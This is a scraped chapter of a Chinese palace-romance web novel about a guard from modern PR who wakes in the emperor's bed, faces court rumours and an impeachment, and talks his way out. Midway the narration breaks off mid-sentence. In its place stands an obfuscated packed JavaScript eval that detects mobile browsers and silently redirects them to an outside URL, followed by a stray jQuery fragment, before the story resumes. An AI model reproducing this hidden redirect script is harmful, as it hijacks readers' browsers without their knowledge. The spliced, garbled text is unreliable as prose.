18. 公关危机

作品:《我靠公关卷成了男皇后

    次日,晨光熹微。


    苏清宴幽幽转醒,却觉头痛欲裂,只想懒懒再睡上一觉,只是……身下触感异常柔软。


    他意识尚未完全回笼,习惯性地想伸展一下在硬板床上蜷缩得酸麻的四肢,手臂触及却是一个温热之物。


    鼻尖萦绕的不再是值房带着潮湿的难闻气味,而是清冽又霸道的龙涎香。


    他惺忪的睡眼勉强睁开一条缝,模糊的视线先是落在明黄色的帐顶上,心里咯噔一下。


    猛地转头,映入眼帘的是一张近在咫尺的俊脸,剑眉浓黑,鼻梁高挺,闭目沉睡时少了几分平日的凌厉,多了几分静谧。


    而他自己,正像只八爪鱼一样,一条胳膊横在对方精壮的胸膛上,一条腿还不客气地压着人家的龙腿!


    苏清宴:“!!!”


    他瞬间惊醒,哪里还有半分睡意,整个人猛地弹起!


    结果动作太大,直接“咕咚”一声从宽大的龙榻上滚落在地,结结实实摔了个底朝天。


    榻上的顾北辰早已醒来,眯着眼看着苏清宴丑态。


    他缓缓睁开眼,眸光初时还有些迷茫,但很快便恢复了清明,带着一丝刚醒的慵懒,斜睨着地上狼狈不堪、正手忙脚乱爬起来的苏清宴。


    “陛、陛下!属下该死!属下罪该万死!”苏清宴连滚带爬地跪好,额头紧紧贴着冰凉的金砖地面,声音都吓变了调,脑子里一片空白,只剩下“完了完了,又睡龙榻了,这次还抱着睡!”。


    顾北辰支起上半身,墨发披散,有几缕落在肩头,寝衣微敞,露出线条优美的锁骨。


    他好整以暇地看着跪在地上的苏清宴,嘴角勾起一抹玩味的笑意。


    “哦?”他声音带着晨起的沙哑,慢悠悠地道,“罪责倒是有几桩,不妨……一一道来。”


    苏清宴头皮发麻,拼命回想,可关于昨晚醉酒后的记忆,从勾着皇帝称兄道弟开始,就彻底断片了。


    他只能凭着本能和眼前这尴尬的场面胡诌:“臣……臣罪该万死!第一桩,不该贪杯误事,御前失仪!”


    “嗯,还有呢?”顾北辰语气平淡,仿佛在闲话家常。


    “第、第二桩,不该……不该亵渎龙榻,竟敢酣睡于上!”苏清宴说着,声音越压越低。


    顾北辰轻轻“呵”了一声,目光落在他依然泛红的耳根上,追问道:“还有吗?”


    苏清宴把脑袋埋得更低,几乎要嵌进地砖里,声若蚊蝇,带着羞愤欲死的窘迫:“不该、不该睡相不端,冒、冒犯天颜,抱、抱了陛下……” 这番话说出来,他自己先起了一层鸡皮疙瘩。


    殿内……静!沉静!死寂!


    只能听到苏清宴自己如擂鼓的心跳。他心思百转千回,正想着是自请去扫一辈子净房还是直接投井比较痛快时,头顶上方却传来顾北辰带着明显戏谑的问话:


    “抱都抱了,朕且不深究。那你不如再解释解释,何谓‘打工人’?‘KPI’又是何物?还有你那‘公关’出身,又是哪里的说法?”


    苏清宴猛地抬头,撞进顾北辰那双深邃如潭的眼眸中,却见对方眸中没有怒意,只有浓得化不开的探究和兴趣。他……他居然还记得这些醉话?!还特意拿出来问!


    一瞬间,苏清宴的酒彻底醒了,冷汗涔涔而下。


    他脑子飞速旋转,脸上努力挤出一个比哭还难看的笑:“回、回陛下……那、那是臣家乡的土话,登不得大雅之堂。”


    “无妨,朕有兴趣,说来听听。”顾北辰换了个更舒服的姿势,摆出了长谈的架势。


    苏清宴咽了口唾沫,硬着头皮开始胡编乱造:“所、所谓‘打工人’,就、就是像臣这样,为陛下、为朝廷当差办事的人,赚取俸禄,养家糊口,便是打工。”


    他一边说一边观察顾北辰的神色,见对方没有打断,才继续道,“‘KPI’……大致就是……考核绩效的关键指标?好比陛下交代的差事,完成得好坏,便是臣的‘KPI’。至于‘公关’……” 他搜肠刮肚,“大致是处理人际关系、应对各种场面,维护、维护东家声誉的意思……对,维护陛下天威!”


    他尽量用这个时代能理解的词语去解释,说得磕磕绊绊,额角沁出细汗。


    顾北辰静静听着,指尖在龙榻边缘有一下没一下地轻敲,看不出是信了还是没信。


    良久,他才淡淡开口:“苏爱卿的家乡话,倒是别致。”


    苏清宴不敢接话,只敢伏低身子。


    “陛下,臣……臣自请告退,去领罚!”他实在受不了这压抑又暧昧的氛围了,只求速速离开。


    又过了仿佛一世纪那么久,就在苏清宴觉得自己快要窒息的时候,顾北辰才仿佛施恩般,轻轻吐出一个字:“准。”


    苏清宴如蒙大赦,几乎是手脚并用地爬起来,也顾不上礼仪了,躬着身子,倒退着,几乎是同手同脚地挪向殿门。


    “慢着。”顾北辰的声音再次响起。


    苏清宴身形一僵,定在原地,心脏差点跳出嗓子眼。


    “整理好衣袍再出去,如此……”顾北辰的眼神在苏清宴浑身上下转了一圈,语气里带着一丝难以察觉的笑意,“成何体统。”


    苏清宴这才发现自己寝衣凌乱,头发也散开了,连忙手忙脚乱地系好衣带,胡乱扒拉了几下头发,也顾不上是否整齐,再次行礼,然后几乎是逃也似的拉开了殿门,闪身出去,又迅速轻轻合上。


    顾北辰却目光看着他离开的身影,笑得意味深长,又有一丝自己都未察觉到的沉溺。


    清晨微凉的空气涌入肺腑,他才感觉自己重新活了过来。


    靠着冰冷的殿门,他大口喘着气,试图平复狂跳的心脏。


    一抬头,却正好对上了两双含义复杂的眼睛。


    云隐和风离一左一右,如同门神般矗立在烟霞殿外,显然已经值守了许久。


    云隐的目光惊异和探究难掩。


    风离脸上的讥诮毫不掩饰,眼神像刀子一样刮过苏清宴凌乱的衣衫和那张扎眼的脸。


    苏清宴头皮一阵发麻,强挤出一個比哭还难看的笑容,干巴巴地打招呼:“云、云统领,风离大人,早、早啊……”


    风离从鼻子里发出一声极轻的冷哼,目光扫过他明显是刚从内殿出来的样子,语带嘲讽:“早?苏大人宿在烟霞殿,自然是觉得早。我等值守一夜,已是辰时了。”


    苏清宴脸上血色尽褪,讪讪地不敢接话,恨不得找个地缝钻进去。


    “我突然想起来还有要紧事须得去做,便先行一步,回头见……”他含糊地拱了拱手,几乎是落荒而逃。


    他心里只盼着这事儿赶紧过去,就当是做了一场荒诞离奇的噩梦。然而,他显然低估了朝臣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16566298|186993||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    百姓的八卦程度。


    他本以为顾北辰会压下此事,或者至少不会任由流言发酵。


    但事实恰恰相反。


    不过半日,他宿在皇上寝殿的消息已在皇宫内外传了个轮回。


    “新晋御前红人苏清宴昨夜留宿陛下寝殿,直至日上三竿方出”的消息,就像长了翅膀一样,传遍了宫廷的每一个角落。


    版本愈发香艳离奇:


    “听说苏大人是裹着陛下的龙袍被抱出来的!”


    “何止!据洒扫处的小柱子说,今早收拾龙榻,发现了不止一人的痕迹!”


    “难怪陛下对他如此纵容,原来是早就……”


    “啧啧,真是人不可貌相,苏侍卫好手段啊!”


    流言愈演愈烈,终于从宫闱传到了前朝。


    两日后的朝会上,气氛凝重。


    一位以耿直闻名的言官,面色凝重,躬身出列,却声音洪亮,字字铿锵有力:


    “陛下!臣弹劾御前侍卫苏清宴,恃宠而骄,魅惑君上,败坏宫闱!其留宿龙榻,秽乱宫廷,致使‘皇上好男风’之流言甚嚣尘上,有损天威,动摇国本!恳请陛下明正典刑,对其严惩,以正视听!”


    有了第一个带头,其他几位言官也纷纷出列附议,要求严惩苏清宴的奏本雪片般飞上御案。


    朝堂之上,一片哗然,所有人的目光或明或暗地扫向站在御前侍卫队列中,脸色煞白,恨不得当场消失的苏清宴。


    顾北辰轻咳了声,将问题轻飘飘地抛了过来:“苏爱卿,你且说说看。”


    苏清宴强忍翻白眼的冲动,心里大骂顾北辰甩锅,面上却沉稳叩首:“当夜陛下病重,内侍空缺,臣尽责侍奉。若尽本分便是死罪,敢问日后侍卫见陛下危难,是该救还是该避?”


    “你……简直是强词夺理。” 一句话怼得言官脸上一阵青红皂白。


    不等其反应,苏清宴续道:“臣请陛下借此立下明规:日后侍疾需多人见证,记录在案。既可保龙体周全,更能永绝流言。如此,方不负诸位大人今日谏言之苦心。”


    顾北辰面上却不动声色。顺势准奏,语气不容置疑:“苏清宴御前失仪,罚俸三月,以儆效尤。至于新规,由你参与拟定。”


    将这个烫手山芋轻巧地化为了新政的契机。


    那带头的老言官还想争辩:“陛下!纵然事出有因,然流言如虎,有损天威……”


    顾北辰微微抬手打断,唇角勾起一抹似笑非笑的弧度:“流言止于智者。朕行事,但求问心无愧。若因几句无稽流言便严惩功臣,岂非寒了天下忠臣良将之心?”


    他特意加重“功臣”二字,目光似有若无地扫过武将班列中神色莫辨的逸王。


    “此事,到此为止。若再有人妄加非议,朕必不轻饶。”顾北辰一锤定音,语气最后转为凛冽,“退朝。”


    苏清宴几乎是瘫软着被同僚扶起,冷汗浸透后背。这就完了?罚俸三个月?比起预想的酷刑,简直是皇恩浩荡!


    然而,他很快就发现,皇帝的“轻拿轻放”如同火上浇油。


    “瞧见没?陛下这是明摆着护短!”


    “罚俸三个月?跟没罚一样!苏侍卫这圣眷,啧啧……”


    “苏清宴姿容出众,莫非……皇上真好男风?”


    流言不仅没止息,反而更添香艳色彩。